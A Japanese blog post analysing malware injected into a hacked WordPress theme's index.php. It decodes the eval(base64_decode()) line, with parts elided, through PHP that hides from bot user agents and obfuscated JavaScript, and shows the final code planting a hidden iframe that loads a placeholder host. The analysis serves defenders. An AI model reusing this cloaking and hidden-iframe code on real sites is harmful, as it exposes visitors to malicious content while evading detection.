先日来より(数ヶ月前)、テーマのindex.phpのヘッダー部分が以下のように書き換えられてしまい、正常に表示されません。
どのように対処するればよろしいのでしょうか?
<?php eval(base64_decode(‘ZXJyb3…’)); get_header(); ?>via. WordPress > フォーラム » テーマのindex.phpが書き換えられる(クラッキングされてしまう)
改ざんされてマルウェアコードを埋め込まれる事例があとを絶たないすね。
このコードを base64_decode してみると
※base64_encode されてる部分と $botsUA は省略してます。
$bot = FALSE ;
$ua = $_SERVER['HTTP_USER_AGENT'];
$botsUA = array(
'12345',
'alexa.com',
'anonymouse.org',
:
);
foreach ($botsUA as $bs) {
if(strpos(strtolower($ua), $bs)!== false){
$bot = true;
break;
}
}
if (!$bot){
echo(base64_decode('PHNjcmlw...'));
}
で、さらに base64_decode
※ f[] の中身は省略してます
<script>
if(window.document)
a=("urf3".split+'tv32hjtkln').substr(0,6);
aa=(Date+{}).substr(0,6);
if(a===aa)
f=[-28,-28,68,65,...];
md='a'; q="q";
e=window.eval;
w=f; s='';
g='fro'+'mCharCod'+'e';
for(i=0;i<w.length;i++){
s=s+String[g](37+w[i]);
}
if(a===aa)
e('e(s)');
</script>
で最終的に e(‘e(s)’) の所で、こんな JavaScript を呼び出してます。
※ iframe 内の URL は置き換えてあります。
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("< iframe src='http://example.com/i/i.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://example.com/i/i.php?go=1');
f.style.visibility='hidden';
f.style.position='absolute';
f.style.left='0';
f.style.top='0';
f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
不可視の iframe タグを埋め込んでるんですね。
コメントを残す